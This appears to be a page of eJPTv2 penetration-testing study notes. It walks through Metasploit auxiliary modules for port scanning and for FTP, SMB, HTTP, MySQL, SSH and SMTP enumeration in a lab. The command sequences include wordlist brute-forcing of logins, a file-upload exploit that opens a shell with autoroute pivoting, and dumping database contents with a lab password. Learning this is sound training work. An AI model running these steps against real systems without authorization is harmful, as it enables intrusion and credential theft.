> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/the-metasploit-framework-msf/information-gathering-and-enumeration/enumeration.md). # Enumeration ### Port Scanning With Auxiliary Modules **Auxiliary Modules** * Auxiliary modules are used to perform functionality like scanning, discovery and fuzzing. * We can use auxiliary modules to perform both TCP & UDP port scanning as well as enumeration information from services like FTP, SSH, HTTP etc. * Auxiliary modules can be used during the information gathering phase of a penetration test as well as the post exploitation phase. * We can also use auxiliary modules to discover hosts and perform port scanning on a different network subnet after we have obtained initial access on a target system.

Lab Infrastructure

* Pivot (Pivoting) ``` ifconfig eth1 ``` ``` service postgresql start msfconsole -q > db_status > workspace -a Port_Scan > workspace > search portscan > use auxiliary/scanner/portscan/tcp > show options > set Rhosts > run > curl > search xoda > use exploit/unix/webapp/xoda_file_upload > set RHOST > set TARGETURI / > exploit >>> sysinfo >>> shell /bin/bash -i ifconfig >>> run autoroute -s >>> background > sessions > search portscan > use auxiliary/scanner/portscan/tcp > set RHOSTS > run > back > search udp_sweep > use auxiliary/scanner/discovery/udp_sweep > set RHOSTs ``` *** ### FTP Enumeration * FTP is a protocol that uses TCP port 21 and is used to facilitate file sharing between a server and client/clients * It is also frequently used as a means of transferring files to and from the directory of a web server. * We can use multiple auxiliary modules to enumerate information as well as perform brute-force attacks on targets running an FTP server. * FTP authentication utilizes a username and password combination, however in some cases an improperly configured FTP server can be logged into anonymously. **DEMO** ``` service postgresql start ``` ``` msfconsole -q > db_status > workspace -a FTP_enum > workspace > search portscan > use auxiliary/scanner/portscan/tcp > set RHOSTS > run > search type: auxiliary name:ftp > use auiliary/scanner/ftp/ftp_version > show options > SET RHOSTS > run > search ProFTPD > back > search type:auxiliary name:ftp > use auxiliary/scanner/ftp/ftp_login > show options > set RHOSTS > set USER_FILE > set PASS_FILE > run > back > search type:auxiliary name:FTP > use auxiliary/scanner/ftp/anonymous > set RHOSTS > run ``` > \ = /usr/share/metasploit-framework/data/wordlists/common\_users.txt > \ = /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt ``` ftp user: password: ``` *** ### SMB Enumeration * SMB (Server Message Block) is a network file sharing protocol that is used to facilitate the sharing of files and peripherals between computers on a local network (LAN). * SMB uses port 445 (TCP). However, originally, SMB ran on top of NetBIOS using port 139. * SAMBA is a Linux implementation of SMB, and allows Windows systems to access Linux shares and devices. * We can utilize auxiliary modules to enumerate the SMB version, shares, users and perform a brute-force in order to identity users and passwords. **DEMO** ``` service postgresql start ``` ``` msfconsole -q > workspace -a SMB_enum > workapace > setg RHOSTS > search type:auxiliary name:SMB > use auxiliary/scanner/smb/smb_version > show options > run > search type: auxiliary naem: SMB > use auxiliary/scanner/smb/smb_enumusers > run > search type: auxiliary name: FTP > use auxiliary/scanner/smb/smb_enumshares > set ShowFiles true > run > search smb_login > use 0 > set SMBUser admin > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt > set STOP_ON_SUCCESS true > run ``` * To list the shares ``` smbclient -L \\\\\\ -U admin ``` * To ``` smbclient \\\\\\public -U admin > ls > cd secret > get flag ``` *** ### Web Server Enumeration * A web server is software that is used to serve website data on the web. * Web servers utilize HTTP (HyperText Transfer Protocol) to facilitate the communication between clients and the web server. * HTTP is an application layer protocol that utilizes TCP port 80 for communication. * We can utilize auxiliary modules to enumerate the web server version, HTTP headers, brute-force directories and much more. * Examples of popular web servers are: Apache, Nginx and Microsoft IIS. ``` msfconsole -q > setg RHOSTS > setg RHOST > search type: auxiliary name: http > use auxiliary/scanner/http/http_version > run > use auxiliary/scanner/http/http_header > run > use auxiliary/scanner/http/robots.txt > run > curl http:///data/ > use auxiliary/scanner/http/dir_scanner > run > use auxiliary/scanner/http/files_dir > run > use auxiliary/scanner/http/http_login > set AUTH_URI /secure/ > unset USERPASS_FILE > run > set USER_FILE /usr/share/metasploit-framework/data/wordlists/namelist.txt > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt > set VERBOSE false > run > search apache_userdir_enum > use auxiliary/scanner/http/apache_userdir_enum > set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt > run ``` * auxiliary/scanner/http/apache\_userdir\_enum * auxiliary/scanner/http/brute\_dirs * auxiliary/scanner/http/dir\_scanner * auxiliary/scanner/http/dir\_listing * auxiliary/scanner/http/http\_put * auxiliary/scanner/http/files\_dir * auxiliary/scanner/http/http\_login * auxiliary/scanner/http/http\_header * auxiliary/scanner/http/http\_version * auxiliary/scanner/http/robots\_txt *** ### MySQL Enumeration * MySQL is an open-source relational database management system based on SQL (Structured Query Language). * It is typically used to store records customer data, and is most commonly deployed to store web application data. * MySQL utilize TCP port 3306 by default. however, like any service it can be hosted on any open TCP port. * We can utilize auxiliary modules to enumerate the version of MySQL, perform brute-force attacks to identify passwords, execute SQL queries and much more. DEMO ``` msfconsole -q > setg RHOSTS > setg RHOST > search type: auxiliary name: mysql > use auxiliary/scanner/mysql/mysql_version > run > use auxiliary/scanner/mysql/mysql_login > set USERNAME root > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt > set verbose false > run > use auxiliary/scanner/mysql/mysql_enum > set username root > set password twinkle > run > use auxiliary/scanner/mysql/mysql_sql > set username root > set password twinkle > run > set SQL show databases; > run > set SQL use videos; > run > use auxiliary/scanner/mysql/mysql_schemadump > set username root > set password twinkle > run > hosts > services > loot > creds ``` ``` mysql -u root -p > show databases; > use videos; > show tables; > exit ``` * auxiliary/admin/mysql/mysql\_enum * auxiliary/admin/mysql/mysql\_sql * auxiliary/scanner/mysql/mysql\_file\_enum * auxiliary/scanner/mysql/mysql\_hashdump * auxiliary/scanner/mysql/mysql\_login * auxiliary/scanner/mysql/mysql\_schemadump * auxiliary/scanner/mysql/mysql\_version * auxiliary/scanner/mysql/mysql\_writable\_dirs *** ### SSH Enumeration * SSH (Secure Shell) is a remote administration protocol that offers encryption and is the successor to Telnet. * It is typically used for remote access to servers and systems. * SSH uses TCP port 22 by default, however, like other services, it can be configured to use any other open TCP port. * We can utilize auxiliary modules to enumerate the version of SSH running on the target as well as perform brute-force attacks to identify passwords that can consequently provide us remote access to a target. **DEMO** ``` msfconsole -q > setg RHOSTS > setg RHOST > search type: auxiliary name: ssh > use auxiliary/scanner/ssh/ssh_version > show options > run > search type: auxiliary name: ssh > use auxiliary/scanner/ssh/ssh_login or ssh_login_pubkey > set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt > run > use auxiliary/scanner/ssh/ssh_enumusers > set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt ``` *** ### SMTP Enumeration * SMTP (Simple Mail Transfer Protocol) is a communication protocol that is used for the transmission of email. * SMTP uses TCP port 25 by default. It is can also be configured to run on TCP port 465 and 587. * We can utilize auxiliary modules to enumerate the version of SMTP as well as user accounts on the target system. **DEMO** ``` ifconfig ``` ``` msfconsole -q > workspace -a SMTP_enum > setg RHOSTS > search type: auxiliary name: smtp > use auxiliary/scanner/smtp/smtp_version > run > use auxiliary/scanner/smtp/smtp_enum > info > run ```